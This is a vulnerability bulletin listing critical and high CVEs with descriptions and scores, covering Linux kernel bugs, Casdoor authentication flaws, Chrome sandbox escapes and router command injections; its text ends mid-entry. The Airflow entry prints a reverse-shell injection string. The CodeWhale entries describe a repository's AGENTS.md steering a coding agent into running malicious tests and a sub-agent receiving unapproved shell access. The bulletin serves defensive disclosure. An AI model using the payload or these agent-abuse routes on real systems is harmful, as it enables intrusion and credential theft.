CVE-2026-45898	In the Linux kernel, the following vulnerability has been resolved: RDMA/iwcm: Fix workqueue list corruption by removing work_list The commit e1168f0 ("RDMA/iwcm: Simplify cm_event_handler()") changed the work submission logic to unconditionally call queue_work() with the expectation that queue_work() would have no effect if work was already pending. The problem is that a free list of struct iwcm_work is used (for which struct work_struct is embedded), so each call to queue_work() is basically unique and therefore does indeed queue the work. This causes a problem in the work handler which walks the work_list until it's empty to process entries. This means that a single run of the work handler could process item N+1 and release it back to the free list while the actual workqueue entry is still queued. It could then get reused (INIT_WORK...) and lead to list corruption in the workqueue logic. Fix this by just removing the work_list. The workqueue already does this for us. This fixes the following error that was observed when stress testing with ucmatose on an Intel E830 in iWARP mode: [151.465780] list_del corruption. next->prev should be ffff9f0915c69c08, but was ffff9f0a1116be08. (next=ffff9f0a15b11c08) [151.466639] ------------[cut here]------------ [151.466986] kernel BUG at lib/list_debug.c:67! [151.467349] Oops: invalid opcode: 0000 [#1] SMP NOPTI [151.467753] CPU: 14 UID: 0 PID: 2306 Comm: kworker/u64:18 Not tainted 6.19.0-rc4+ #1 PREEMPT(voluntary) [151.468466] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [151.469192] Workqueue: 0x0 (iw_cm_wq) [151.469478] RIP: 0010:__list_del_entry_valid_or_report+0xf0/0x100 [151.469942] Code: c7 58 5f 4c b2 e8 10 50 aa ff 0f 0b 48 89 ef e8 36 57 cb ff 48 8b 55 08 48 89 e9 48 89 de 48 c7 c7 a8 5f 4c b2 e8 f0 4f aa ff <0f> 0b 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 90 90 90 90 90 90 [151.471323] RSP: 0000:ffffb15644e7bd68 EFLAGS: 00010046 [151.471712] RAX: 000000000000006d RBX: ffff9f0915c69c08 RCX: 0000000000000027 [151.472243] RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffff9f0a37d9c600 [151.472768] RBP: ffff9f0a15b11c08 R08: 0000000000000000 R09: c0000000ffff7fff [151.473294] R10: 0000000000000001 R11: ffffb15644e7bba8 R12: ffff9f092339ee68 [151.473817] R13: ffff9f0900059c28 R14: ffff9f092339ee78 R15: 0000000000000000 [151.474344] FS: 0000000000000000(0000) GS:ffff9f0a847b5000(0000) knlGS:0000000000000000 [151.474934] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [151.475362] CR2: 0000559e233a9088 CR3: 000000020296b004 CR4: 0000000000770ef0 [151.475895] PKRU: 55555554 [151.476118] Call Trace: [151.476331] <TASK> [151.476497] move_linked_works+0x49/0xa0 [151.476792] __pwq_activate_work.isra.46+0x2f/0xa0 [151.477151] pwq_dec_nr_in_flight+0x1e0/0x2f0 [151.477479] process_scheduled_works+0x1c8/0x410 [151.477823] worker_thread+0x125/0x260 [151.478108] ? __pfx_worker_thread+0x10/0x10 [151.478430] kthread+0xfe/0x240 [151.478671] ? __pfx_kthread+0x10/0x10 [151.478955] ? __pfx_kthread+0x10/0x10 [151.479240] ret_from_fork+0x208/0x270 [151.479523] ? __pfx_kthread+0x10/0x10 [151.479806] ret_from_fork_asm+0x1a/0x30 [151.480103] </TASK>	9.8	More Details
CVE-2026-42758	Incorrect Privilege Assignment vulnerability in Saleswonder Team: Tobias WebinarIgnition webinar-ignition allows Privilege Escalation.This issue affects WebinarIgnition: from n/a through < 4.08.253.	9.8	More Details
CVE-2026-42731	Incorrect Privilege Assignment vulnerability in miniOrange miniorange otp verification miniorange-otp-verification allows Privilege Escalation.This issue affects miniorange otp verification: from n/a through <= 5.4.9.	9.8	More Details
CVE-2025-12686	Buffer copy without checking size of input ('Classic Buffer Overflow') vulnerability in AdminCenter in Synology BeeStation OS before 1.3.2-65648 allows remote attackers to execute arbitrary code via unspecified vectors.	9.8	More Details
CVE-2026-46135	In the Linux kernel, the following vulnerability has been resolved: nvmet-tcp: fix race between ICReq handling and queue teardown nvmet_tcp_handle_icreq() updates queue->state after sending an Initialization Connection Response (ICResp), but it does so without serializing against target-side queue teardown. If an NVMe/TCP host sends an Initialization Connection Request (ICReq) and immediately closes the connection, target-side teardown may start in softirq context before io_work drains the already buffered ICReq. In that case, nvmet_tcp_schedule_release_queue() sets queue->state to NVMET_TCP_Q_DISCONNECTING and drops the queue reference under state_lock. If io_work later processes that ICReq, nvmet_tcp_handle_icreq() can still overwrite the state back to NVMET_TCP_Q_LIVE. That defeats the DISCONNECTING-state guard in nvmet_tcp_schedule_release_queue() and allows a later socket state change to re-enter teardown and issue a second kref_put() on an already released queue. The ICResp send failure path has the same problem. If teardown has already moved the queue to DISCONNECTING, a send error can still overwrite the state with NVMET_TCP_Q_FAILED, again reopening the window for a second teardown path to drop the queue reference. Fix this by serializing both post-send state transitions with state_lock and bailing out if teardown has already started. Use -ESHUTDOWN as an internal sentinel for that bail-out path rather than propagating it as a transport error like -ECONNRESET. Keep nvmet_tcp_socket_error() setting rcv_state to NVMET_TCP_RECV_ERR before honoring that sentinel so receive-side parsing stays quiesced until the existing release path completes.	9.8	More Details
	In the Linux kernel, the following vulnerability has been resolved: block: add pgmap check to biovec_phys_mergeable biovec_phys_mergeable() is used by the request merge, DMA mapping, and integrity merge paths to decide if two physically contiguous bvec segments can be coalesced into one. It		

CVE-2026-46115	currently has no check for whether the segments belong to different dev_pagemaps. When zone device memory is registered in multiple chunks, each chunk gets its own dev_pagemap. A single bio can legitimately contain bvecs from different pgmaps -- iov_iter_extract_bvecs() breaks at pgmap boundaries but the outer loop in bio_iov_iter_get_pages() continues filling the same bio. If such bvecs are physically contiguous, biovec_phys_mergeable() will coalesce them, making it impossible to recover the correct pgmap for the merged segment via page_pgmap(). Add a zone_device_pages_have_same_pgmap() check to prevent merging bvec segments that span different pgmaps.	9.8	More Details
CVE-2026-9093	In Casdoor versions 2.362.0 and earlier, the SAML service provider implementation does not validate the AudienceRestriction element in SAML assertions. The buildSp function in object/saml_sp.go never sets AudienceURI on the gosaml2 SAMLServiceProvider struct and never inspects WarningInfo.NotInAudience. This allows assertions issued for other service providers to be accepted by Casdoor.	9.8	More Details
CVE-2026-46195	In the Linux kernel, the following vulnerability has been resolved: smb: client: validate dacloffset before building DACL pointers parse_sec_desc(), build_sec_desc(), and the chown path in id_mode_to_cifs_acl() all add the server-supplied dacloffset to pntsd before proving a DACL header fits inside the returned security descriptor. On 32-bit builds a malicious server can return dacloffset near U32_MAX, wrap the derived DACL pointer below end_of_acl, and then slip past the later pointer-based bounds checks. build_sec_desc() and id_mode_to_cifs_acl() can then dereference DACL fields from the wrapped pointer in the chmod/chown rewrite paths. Validate dacloffset numerically before building any DACL pointer and reuse the same helper at the three DACL entry points.	9.8	More Details
CVE-2026-38707	A command injection vulnerability exists in the IPSec VPN feature of InHand Networks IR302 firmware V3.5.108, IR305 firmware V1.0.118, IR315 firmware V1.0.118, IR615 firmware V1.0.118, and earlier versions. Attackers can exploit this vulnerability to obtain ROOT privileges on remote target devices.	9.8	More Details
CVE-2026-38704	A command injection vulnerability exists in the WireGuard VPN feature of InHand Networks IR302 firmware V3.5.108, IR305 firmware V1.0.118, IR315 firmware V1.0.118, IR615 firmware V1.0.118, and earlier versions. Attackers can exploit this vulnerability to obtain ROOT privileges on remote target devices.	9.8	More Details
CVE-2026-9094	Casdoor versions 2.362.0 and earlier contain a vulnerability enabling cross-organization token exchange. The GetTokenExchangeToken function in object/token_oauth.go validates JWT signatures but does not verify that the token's user belongs to the same organization as the target application. This can result in privilege escalation across organizational boundaries.	9.8	More Details
CVE-2026-9097	Casdoor versions 2.362.0 and earlier do not verify that a JWT used for token exchange is still active. The GetTokenExchangeToken() function in object/token_oauth.go validates the JWT signature and parses its claims, but never queries the Token table to verify whether the subject token has been revoked or invalidated. Because the revocation check is entirely absent, administrators are unable to terminate active sessions or revoke compromised tokens.	9.8	More Details
CVE-2026-38703	A command injection vulnerability exists in the ZeroTier VPN feature of InHand Networks IR302 firmware V3.5.108, IR305 firmware V1.0.118, IR315 firmware V1.0.118, IR615 firmware V1.0.118, and earlier versions. Attackers can exploit this vulnerability to obtain ROOT privileges on remote target devices.	9.8	More Details
CVE-2026-38702	A command injection vulnerability exists in the Admin Access feature of InHand Networks IR302 firmware V3.5.108, IR305 firmware V1.0.118, IR315 firmware V1.0.118, IR615 firmware V1.0.118, and earlier versions. Attackers can exploit this vulnerability to obtain ROOT privileges on remote target devices.	9.8	More Details
CVE-2026-24444	SDMC NE6037 cable modem routers running firmware 7.1.6.0.25 and 7.1.6.1.9_B9 contain a hardcoded password vulnerability in the web management interface recovery endpoints (mgmt.php, npcmd.php) that allows unauthenticated attackers to gain root access by submitting the hardcoded credential to the recovery endpoint via HTTP. Attackers can leverage this hardcoded password to enable filtered SSH and Telnet services on the device, resulting in unauthenticated root-level remote access to the underlying system.	9.8	More Details
CVE-2026-48879	Incorrect Privilege Assignment vulnerability in Sergey AIWU allows Privilege Escalation. This issue affects AIWU: from n/a through 1.4.17.	9.8	More Details
CVE-2026-42680	Incorrect Privilege Assignment vulnerability in Wasiliy Strecker / ContestGallery developer Contest Gallery Pro allows Privilege Escalation. This issue affects Contest Gallery Pro: from n/a through 29.0.1.	9.8	More Details
CVE-2026-45628	Dokploy is a free, self-hostable Platform as a Service (PaaS). In 0.29.2 and earlier, Dokploy constructs shell commands using JavaScript template literals and executes them via child_process.exec() (which runs through /bin/sh -c). User-supplied branch names, repository URLs, and Docker credentials are interpolated directly into these commands without escaping. This requires an authenticated user with application create/edit privileges.	9.6	More Details
	CodeWhale is a DeepSeek + MiMo coding agent in terminal. Prior to 0.8.26, the task_create tool spawns durable sub-agents that inherit two insecure defaults, allow_shell defaults to true (config.rs:1499:		

CVE-2026-45374	self.allow_shell.unwrap_or(true)) and auto_approve defaults to true (task_manager.rs:297: auto_approve: Some(true)). When a user approves a task_create call (which requires ApprovalRequirement::Required), they approve what appears to be a benign work prompt. However, the spawned sub-agent silently receives unrestricted, unapproved shell access. This vulnerability is fixed in 0.8.26.	9.6	More Details
CVE-2026-9876	Use after free in WebGL in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)	9.6	More Details
CVE-2026-9872	Out of bounds write in GPU in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)	9.6	More Details
CVE-2026-44211	Cline is an autonomous coding agent as an SDK, IDE extension, or CLI assistant. In versions 2.13.0 and prior, there is a cross-origin WebSocket hijack vulnerability in Cline Kanban servers. At time of publication, there are no publicly available patches.	9.6	More Details
CVE-2026-45311	CodeWhale is a DeepSeek + MiMo coding agent in terminal. From 0.3.0 to 0.8.23, the run_tests tool executes cargo test in the workspace with ApprovalRequirement::Auto, meaning it runs without any user approval prompt. cargo test compiles and executes arbitrary code: test binaries, build.rs build scripts, and proc macros. While auto-approving test execution is a deliberate design choice, it creates an inconsistency in the security boundary. However, in a malicious repository, test code can execute arbitrary shell commands, exfiltrate credentials, or establish persistence with zero approval. The attack is amplified by AGENTS.md (auto-loaded into the system prompt), which can instruct the model to run tests proactively at session start. This vulnerability is fixed in 0.8.23.	9.6	More Details
CVE-2026-45323	MeshCore Card provides MeshCore Lovelace card for Home Assistant. Prior to 0.3.3, Meshcore node names are rendered without HTML escaping in meshcore-card, allowing any node within direct or indirect (repeated) radio range to execute arbitrary javascript in the Home Assistant frontend of anyone viewing the card. This vulnerability is fixed in 0.3.3.	9.6	More Details
CVE-2026-9874	Use after free in Dawn in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)	9.6	More Details
CVE-2026-9967	Out of bounds write in GPU in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	9.6	More Details
CVE-2026-9918	Inappropriate implementation in Tint in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	9.6	More Details
CVE-2026-9875	Out of bounds read in WebGL in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)	9.6	More Details
CVE-2026-9886	Use after free in Base in Google Chrome on Mac prior to 148.0.7778.216 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)	9.6	More Details
CVE-2026-48866	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Rocketgenius Inc. Gravity Forms allows Path Traversal. This issue affects Gravity Forms: from n/a through 2.10.0.1.	9.6	More Details
CVE-2026-44315	free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's NEF mounts the 3gpp-pfd-management API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, and delete PFD-management transaction state with a forged or arbitrary bearer token (e.g. Authorization: Bearer not-a-real-token). The route group is also reachable even when the running config's ServiceList does not declare it, so operators who think they disabled the service via config are still exposed. This vulnerability is fixed in 4.2.2.	9.4	More Details
CVE-2026-44326	free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's NEF mounts the 3gpp-traffic-influence API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, patch, and delete traffic-influence subscriptions either with no Authorization header at all, or with a forged bearer token (e.g. Authorization: Bearer not-a-real-token). This includes creating AnyUeInd=true subscriptions intended to affect group / any-UE traffic steering. The route group is also reachable even when the running config's ServiceList does not declare it, so operators who think they disabled the service via config are still exposed. This vulnerability is fixed in 4.2.2.	9.4	More Details
CVE-2026-42761	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in RealMag777 Active Products Tables for WooCommerce profit-products-tables-for-woocommerce allows Blind SQL Injection.This issue affects Active Products Tables for WooCommerce: from n/a through <= 1.0.9.	9.3	More Details

CVE-2026-42755	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in RealMag777 TableOn posts-table-filterable allows Blind SQL Injection.This issue affects TableOn: from n/a through <= 1.0.5.1.	9.3	More Details
CVE-2026-42747	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in hassantafreshi Easy Form Builder easy-form-builder allows Blind SQL Injection.This issue affects Easy Form Builder: from n/a through <= 4.0.6.	9.3	More Details
CVE-2026-42740	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in tainacan Tainacan tainacan allows Blind SQL Injection.This issue affects Tainacan: from n/a through <= 1.0.3.	9.3	More Details
CVE-2026-44590	Sherlock hunts down social media accounts by username across social networks. Prior to 0.16.1, the GitHub Actions workflow validate_modified_targets.yml is vulnerable to command injection via the pull_request_target trigger. Any GitHub user can execute arbitrary commands on the CI runner and exfiltrate the GITHUB_TOKEN by opening a pull request. No approval, review, or merge is required. This vulnerability is fixed in 0.16.1.	9.3	More Details
CVE-2026-42727	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in RealMag777 Active Products Tables for WooCommerce profit-products-tables-for-woocommerce allows Blind SQL Injection.This issue affects Active Products Tables for WooCommerce: from n/a through <= 1.0.8.	9.3	More Details
CVE-2026-42672	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Wp Directory Kit WP Directory Kit allows Blind SQL Injection. This issue affects WP Directory Kit: from n/a through 1.5.1.	9.3	More Details
CVE-2026-42682	Missing Authorization vulnerability in Tomdever wpForo Forum allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects wpForo Forum: from n/a through 3.0.6.	9.1	More Details
CVE-2026-42252	Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.	9.1	More Details
CVE-2026-8644	IBM WebSphere Application Server 9.0, and 8.5 is vulnerable to identity spoofing.	9.1	More Details
CVE-2026-48188	An improper Input Validation vulnerability in OTRS or ((OTRS)) Community Edition database layer module allows an unauthenticated SQL injection which can lead to an authentication bypass. This issue only affects the system if the MySQL/MariaDB server is configured with the NO_BACKSLASH_ESCAPES SQL mode. This issue affects OTRS: * 7.0.X * 8.0.X * 2023.X * 2024.X * 2025.X * 2026.X before 2026.4.X * (OTRS)) Community Edition: 6.0.x Products based on the ((OTRS)) Community Edition also very likely to be affected	9.1	More Details
CVE-2026-9051	There is an authentication bypass vulnerability in the NI SystemLink Enterprise Dashboard application that may allow an unauthenticated remote attacker to bypass authentication controls leading to privilege escalation or information disclosure. Successful exploitation requires an attacker to send a specially crafted HTTP request. This vulnerability affects NI SystemLink Enterprise 2026-04 and prior versions.	9.1	More Details
CVE-2026-8450	HTTP::Daemon versions before 6.17 for Perl allow OS command injection via send_file(). send_file() opens its string argument with Perl's 2-arg open(). The 2-arg form interprets magic prefixes: '| cmd' and 'cmd |' open a pipe to a subprocess, '> path' and '>> path' open the path for write or append. Untrusted input passed to send_file() can run OS commands at the daemon process UID. The read-pipe form ('cmd |') also leaks subprocess stdout into the HTTP response body. The write-mode forms can create or truncate files at attacker chosen paths.	9.1	More Details
CVE-2026-44650	SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to 1.18.0, POST /api/extensions/delete endpoint accepts extensionName: "." which bypasses sanitize-filename validation, causing the entire user extensions directory to be recursively deleted. No authentication is required in the default configuration. This vulnerability is fixed in 1.18.0.	9.1	More Details

CVE-2026-9092	Casdoor versions 2.362.0 and earlier contain a vulnerability involving unverified email binding that may enable account takeover. The getExistUserByBindingRule function matches users by email without checking the email_verified claim from upstream providers; the idp.UserInfo struct does not even include a EmailVerified field. An attacker can supply an unverified email claim from an upstream provider to take over accounts that use the same email address.	9.1	More Details
CVE-2026-49002	Access control failure means that an application does not effectively check user access permissions, so that unauthorized users can access system data beyond their permissions, such as viewing and modifying configuration information.	9.1	More Details
CVE-2026-46043	In the Linux kernel, the following vulnerability has been resolved: RDMA/rxe: Validate pad and ICRC before payload_size() in rxe_rcv rxe_rcv() currently checks only that the incoming packet is at least header_size(pkt) bytes long before payload_size() is used. However, payload_size() subtracts both the attacker-controlled BTH pad field and RXE_ICRC_SIZE from pkt->paylen: payload_size = pkt->paylen - offset[RXE_PAYLOAD] - bth_pad(pkt) - RXE_ICRC_SIZE This means a short packet can still make payload_size() underflow even if it includes enough bytes for the fixed headers. Simply requiring header_size(pkt) + RXE_ICRC_SIZE is not sufficient either, because a packet with a forged non-zero BTH pad can still leave payload_size() negative and pass an underflowed value to later receive-path users. Fix this by validating pkt->paylen against the full minimum length required by payload_size(): header_size(pkt) + bth_pad(pkt) + RXE_ICRC_SIZE.	9.1	More Details
CVE-2026-7876	IBM Aspera HSTS for CP4I 1.5.1 through 1.5.19	9.1	More Details
CVE-2026-46119	In the Linux kernel, the following vulnerability has been resolved: libceph: Fix slab-out-of-bounds access in auth message processing If a (potentially corrupted) message of type CEPH_MSG_AUTH_REPLY contains a positive value in its result field, it is treated as an error code by ceph_handle_auth_reply() and returned to handle_auth_reply(). Thereafter, an attempt is made to send the preallocated message of type CEPH_MSG_AUTH, where the returned value is interpreted as the size of the front segment to send. If the result value in the message is greater than the size of the memory buffer allocated for the front segment, an out-of-bounds access occurs, and the content of the memory region beyond this buffer is sent out. This patch fixes the issue by treating only negative values in the result field as errors. Positive values are therefore treated as success in the same way as a zero value. Additionally, a BUG_ON is added to __send_prepared_auth_request() comparing the len parameter to front_alloc_len to prevent sending the message if it exceeds the bounds of the allocation and to make it easier to catch any logic flaws leading to this.	9.1	More Details
CVE-2026-46155	In the Linux kernel, the following vulnerability has been resolved: smb/client: fix out-of-bounds read in smb2_compound_op() If a server sends a truncated response but a large OutputBufferLength, and terminates the EA list early, check_wsl_eas() returns success without validating that the entire OutputBufferLength fits within iov_len. Then smb2_compound_op() does: memcpy(idata->wsl.eas, data[0], size[0]); Where size[0] is OutputBufferLength. If iov_len is smaller than size[0], memcpy can read beyond the end of the rsp_iov allocation and leak adjacent kernel heap memory.	9.1	More Details
CVE-2026-5386	The affected KMW CCTV Security Cameras are vulnerable to a critical unauthenticated password reset. This flaw allows an attacker to remotely reset the administrator password to a known value without authentication, granting full access to the camera feeds and settings.	9.1	More Details
CVE-2026-9090	Casdoor versions 2.362.0 and earlier contain a vulnerability that allows an attacker to bypass authentication by supplying an arbitrary signing certificate. The buildSpCertificateStore function extracts the X.509 certificate directly from the incoming SAMLResponse instead of using the trusted pre-configured Identity Provider certificate, allowing an attacker to forge assertions signed with an attacker-controlled key.	9.1	More Details
CVE-2026-46185	In the Linux kernel, the following vulnerability has been resolved: smb/client: fix out-of-bounds read in symlink_data() Since smb2_check_message() returns success without length validation for the symlink error response, in symlink_data() it is possible for iov->iov_len to be smaller than sizeof(struct smb2_err_rsp). If the buffer only contains the base SMB2 header (64 bytes), accessing err->ErrorContextCount (at offset 66) or err->ByteCount later in symlink_data() will cause an out-of-bounds read.	9.1	More Details
CVE-2026-9098	In Casdoor versions 2.362.0 and earlier, the SAML callback handler in controllers/auth.go accepts any well-formed SAMLResponse sent to /api/acs without verifying that it corresponds to an AuthnRequest previously issued by Casdoor. Additionally, if an administrator disables or deletes an IdP (Identity Provider) after a SAML flow has started, the handler still processes the response using the provider snapshot loaded at the start of the request. As a result, an attacker controlling a registered upstream IdP can send unsolicited SAML responses, or replay a legitimately captured response in a different session or after the original flow has ended. In both cases, Casdoor accepts the response and issues a session, enabling persistent unauthorized access.	9.1	More Details
	Vulnerability in the Oracle Internet Procurement Connector product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily		

CVE-2026-46819	exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Internet Procurement Connector. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Internet Procurement Connector accessible data as well as unauthorized access to critical data or complete access to all Oracle Internet Procurement Connector accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).	9.1	More Details
CVE-2025-41268	Nozomi Networks Labs identified a CWE-23: Relative Path Traversal in the Administration WebUI in Waterfall WF-500 TX and RX Hosts in version 7.9.1.0 R2502171040 that allows remote unauthenticated attackers to delete arbitrary files on the Host machines.	9.1	More Details
CVE-2026-4290	The WP Travel Pro plugin for WordPress is vulnerable to arbitrary user deletion via the /wp-json/wp-travel/v1/travel-guide/{user_id} REST API endpoint in all versions up to, and including, 10.6.0. This is due to the check_permission() callback unconditionally returning true and the Database::delete() method passing the user ID directly to wp_delete_user() without any role validation. This makes it possible for unauthenticated attackers to delete arbitrary user accounts, including those of administrators.	9.1	More Details
CVE-2026-9881	Use after free in Bluetooth in Google Chrome on Mac prior to 148.0.7778.216 allowed an attacker who convinced a user to install a malicious extension to potentially perform a sandbox escape via a crafted Chrome Extension. (Chromium security severity: Critical)	9.0	More Details
CVE-2026-9891	Use after free in Extensions in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted Chrome Extension. (Chromium security severity: Critical)	9.0	More Details
CVE-2026-4408	A flaw was found in Samba. A remote attacker can exploit a misconfiguration in Samba file servers and classic domain controllers that use the "check password script" feature. If this script is configured with the %u substitution character, the client-controlled username is passed without proper escaping of shell meta-characters. This vulnerability allows an attacker to achieve remote command execution on the affected system. This issue primarily affects non-standard configurations where the "check password script" is used with %u and the samba-dcerpcd service is started as a system service.	9.0	More Details
CVE-2026-32999	Insufficient character filtering in backup agent signing module on Comet Backup server allows authenticated tenant administrator to execute an arbitrary code on behalf of a privileged user on the affected server and connected devices.	9.0	More Details
CVE-2026-48150	Budibase is an open-source low-code platform. Prior to 3.39.0, /api/public/v1/roles/assign is guarded by the builderOrAdmin middleware, which passes any user who is a builder for the app id in the x-budibase-app-id header. That check admits both global builders and workspace-scoped builders (builder.apps set but builder.global unset). The controller then spreads the request body into the SDK call, and the SDK grants builder.global=true or admin.global=true on whichever user ids the caller supplies. Bob, a workspace-scoped builder with an API key, promotes himself or any other user to global admin with one POST. The whole flow is tenant-wide privilege escalation from an app-level role, available to anyone with an Enterprise license that unlocks the EXPANDED_PUBLIC_API feature. This vulnerability is fixed in 3.39.0.	9.0	More Details
CVE-2026-9311	IBM WebSphere Application Server 9.0, and 8.5 is vulnerable to remote code execution caused by the bypass of security controls.	9.0	More Details
CVE-2026-9319	IBM WebSphere Application Server 9.0, and 8.5 is vulnerable to potential remote code execution due to deserialization of untrusted data via JAX-WS endpoints with WS-Security.	9.0	More Details
CVE-2026-45630	Dokploy is a free, self-hostable Platform as a Service (PaaS). In 0.28.8 and earlier, authenticated OS command injection in the application.updateTraefikConfig tRPC endpoint allows admin/owner users to execute arbitrary system commands on remote servers via unsanitized echo shell interpolation.	9.0	More Details
CVE-2026-46833	Vulnerability in the Net Service component of Oracle Database Server. Supported versions that are affected are 23.4.0-23.26.2. Difficult to exploit vulnerability allows unauthenticated attacker with network access via TLS to compromise Net Service. While the vulnerability is in Net Service, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Net Service. CVSS 3.1 Base Score 9.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H).	9.0	More Details

OTHER VULNERABILITIES

CVE Number	Description	Base Score	Reference
CVE-2026-	Use after free in WebCodecs in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute	8.8	More

10013	arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)		Details
CVE-2026-45716	Budibase is an open-source low-code platform. Prior to 3.38.1, the POST /api/global/users/onboard endpoint is protected by workspaceBuilderOrAdmin middleware, allowing any user with builder permissions to access it. When SMTP email is not configured (the default for self-hosted Budibase instances), this endpoint bypasses the admin-restricted invite flow and directly creates users via bulkCreate, accepting arbitrary admin and builder role assignments from the request body. A builder-level user can create a new global admin account and receive the generated password in the response, achieving full privilege escalation. This vulnerability is fixed in 3.38.1.	8.8	More Details
CVE-2026-10063	A vulnerability was identified in TRENDnet TEW-432BRP 3.10B20. Affected by this issue is the function formWPS of the file /goform/formWPS. Such manipulation of the argument peerPin leads to stack-based buffer overflow. The attack may be performed from remote. The exploit is publicly available and might be used. The vendor explains: "This product has been EOL for 15 years (since 2009). As the item has been EOL for such a long time, we are not able to replicate or fix any vulnerabilities." This vulnerability only affects products that are no longer supported by the maintainer.	8.8	More Details
CVE-2018-25388	HaPe PKH 1.1 contains an arbitrary file upload vulnerability that allows authenticated attackers to upload malicious files by bypassing file type validation. Attackers can upload PHP files through multiple endpoints including aksi_foto.php, aksi_user.php, and aksi_kecamatan.php to execute arbitrary code on the server.	8.8	More Details
CVE-2026-46125	In the Linux kernel, the following vulnerability has been resolved: wifi: mac80211: remove station if connection prep fails If connection preparation fails for MLO connections, then the interface is completely reset to non-MLD. In this case, we must not keep the station since it's related to the link of the vif being removed. Delete an existing station. Any "new_sta" is already being removed, so that doesn't need changes. This fixes a use-after-free/double-free in debugfs if that's enabled, because a vif going from MLD (and to MLD, but that's not relevant here) recreates its entire debugfs.	8.8	More Details
CVE-2026-46113	In the Linux kernel, the following vulnerability has been resolved: KVM: x86: Fix shadow paging use-after-free due to unexpected GFN The shadow MMU computes GFNs for direct shadow pages using sp->gfn plus the SPTE index. This assumption breaks for shadow paging if the guest page tables are modified between VM entries (similar to commit aad885e77496, "KVM: x86/mmu: Drop/zap existing present SPTE even when creating an MMIO SPTE", 2026-03-27). The flow is as follows: - a PDE is installed for a 2MB mapping, and a page in that area is accessed. KVM creates a kvm_mmu_page consisting of 512 4KB pages; the kvm_mmu_page is marked by FNAME(fetch) as direct-mapped because the guest's mapping is a huge page (and thus contiguous). - the PDE mapping is changed from outside the guest. - the guest accesses another page in the same 2MB area. KVM installs a new leaf SPTE and rmap entry; the SPTE uses the "correct" GFN (i.e. based on the new mapping, as changed in the previous step) but that GFN is outside of the [sp->gfn, sp->gfn + 511] range; therefore the rmap entry cannot be found and removed when the kvm_mmu_page is zapped. - the memslot that covers the first 2MB mapping is deleted, and the kvm_mmu_page for the now-invalid GPA is zapped. However, rmap_remove() only looks at the [sp->gfn, sp->gfn + 511] range established in step 1, and fails to find the rmap entry that was recorded by step 3. - any operation that causes an rmap walk for the same page accessed by step 3 then walks a stale rmap and dereferences a freed kvm_mmu_page. This includes dirty logging or MMU notifier invalidations (e.g., from MADV_DONTNEED). The underlying issue is that KVM's walking of shadow PTEs assumes that if a SPTE is present when KVM wants to install a non-leaf SPTE, then the existing kvm_mmu_page must be for the correct gfn. Because the only way for the gfn to be wrong is if KVM messed up and failed to zap a SPTE... which shouldn't happen, but *actually* only happens in response to a guest write. That bug dates back literally forever, as even the first version of KVM assumes that the GFN matches and walks into the "wrong" shadow page. However, that was only an imprecision until 2032a93d66fa ("KVM: MMU: Don't allocate gfns page for direct mmu pages") came along. Fix 